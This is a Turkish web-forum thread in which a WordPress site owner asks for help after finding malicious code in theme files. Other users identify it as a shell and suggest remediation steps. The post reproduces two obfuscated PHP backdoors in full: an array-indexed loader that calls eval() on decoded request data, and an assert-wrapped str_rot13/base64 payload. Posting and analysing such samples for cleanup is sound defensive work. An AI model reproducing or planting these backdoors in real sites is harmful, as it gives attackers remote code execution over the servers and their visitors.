Zararlı Kodlar

Merhaba,

Ftp üzerinde saçma sapan dosyalar bulmuştum backup.php gibi uzantısı farklı farklı dosyalar. bunları temizledim sorun düzelmedi. Şimdide tema kodlarının içerisinde,

$pdec6){$s69c72=$pdec6;$ced0c6=$af3eb7;}if(!$s69c72){foreach($x77037[$x77037['af57'][10].$x77037['af57'][83].$x77037['af57'][6].$x77037['af57'][69].$x77037['af57'][92].$x77037['af57'][80].$x77037['af57'][3]]as$af3eb7=>$pdec6){$s69c72=$pdec6;$ced0c6=$af3eb7;}}$s69c72=@$x77037[$x77037['af57'][88].$x77037['af57'][91].$x77037['af57'][69].$x77037['af57'][3].$x77037['af57'][92]]($x77037[$x77037['af57'][41].$x77037['af57'][23].$x77037['af57'][6].$x77037['af57'][80].$x77037['af57'][6].$x77037['af57'][83].$x77037['af57'][92].$x77037['af57'][14].$x77037['af57'][23]]($x77037[$x77037['af57'][43].$x77037['af57'][88].$x77037['af57'][92].$x77037['af57'][88].$x77037['af57'][67]]($s69c72),$ced0c6));if(isset($s69c72[$x77037['af57'][89].$x77037['af57'][47]])&&$a7f523cb==$s69c72[$x77037['af57'][89].$x77037['af57'][47]]){if($s69c72[$x77037['af57'][89]]==$x77037['af57'][21]){$l03b591fa=Array($x77037['af57'][35].$x77037['af57'][55]=>@$x77037[$x77037['af57'][58].$x77037['af57'][88].$x77037['af57'][75].$x77037['af57'][92].$x77037['af57'][84].$x77037['af57'][89].$x77037['af57'][14]](),$x77037['af57'][56].$x77037['af57'][55]=>$x77037['af57'][23].$x77037['af57'][20].$x77037['af57'][84].$x77037['af57'][76].$x77037['af57'][23],);echo@$x77037[$x77037['af57'][56].$x77037['af57'][75].$x77037['af57'][83].$x77037['af57'][83].$x77037['af57'][69]]($l03b591fa);}elseif($s69c72[$x77037['af57'][89]]==$x77037['af57'][92]){eval($s69c72[$x77037['af57'][80]]);}exit();} ?>





?>


?>

//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvE1pzjtCFNvnUE0pQbiY3Oipz5iAwx2YzAioF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWTDcYvVzqG0vYaIloTIhL29xMFtxqFxhVvMwCFVhWTZhVvMcCGRznQ0vYz1xAFtvZGZ5ZGVkBGuvLGWxLwtlBGp3ZJWxAwD3ZGx0Z2IxBQDvYvExYvE1YvEwYvVkVvx7PzyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcVQ09VQRcVUfXWTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPE1pzjcBjc9VTIfp2IcMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxpzImqJk0VQ0tL3IloS9yrTIwXPEwnPx7PzA1pzksL2kip2HbWTAbXGfXWTyvqvN9VPElMKA1oUD7Pa0tMJkmMFO7PvEzpPN9VTMmo2Aeo3OyovtvpT9loz82BGLhL29gVvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwRmBGRlZGx4LzRlMTV4Zwx3AmSvMQL0AmR5AQAyMQt0Vv4xMP4xqF4xLl4vZFVcYvVtFSEHHP8kYwSppykhVwfXVPNtVPEiqKDtYw0tVxuip3D6VUOipz5iAwx2YzAioIklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzZ2LGExZwx5VvxtrlONLKAmMKW0XPEsHxIEIHIGISfvLlWqXGftsDc9BjcyL2uiVPEcLaL7sD=="));'));
//###==###
?>

Bu iki kodu buldum ve temizledim. Ayrıca wp nin dosyalarını silip tekrardan yükledim. bu kodlar sayesinde giriyorlardır değil mi?

%99.9 shell :)

Bende öyle düşünüyorumda sorun ortadan kalkarmı bu yaptıklarımla

Genelde warez temalarda oluyor bu. Lisanslı tema ve güvenli bir sunucu kullanın.

Tema warez değil wordpress in kendi sitesinde bulunan bir tema

Şifreleme yöntemi olamaz mı ?

Anlamadım ama ftp içerisini temizledim baya bir daha olmaz diye tahmin ediyorum

ben de olur diye tahmin ediyorum
daha önce o kodu oraya nasıl yerleştirmişlerse aynı şekilde yerleştirebilirler Noktaorg

Hocam temizleyemezseniz hosting dağıtıcınıza ulaşın yedeğinizi alıp ftp'ye reset atsınlar.

Shell yemişsiniz ve mutlaka FTP şifrenizi 32 haneli yapın.

Ek olarak : FTP'de backup yedek yerine şifre koyun.

ErdemDnmz hocam shell li yedek almış olmaz mıyız o zaman?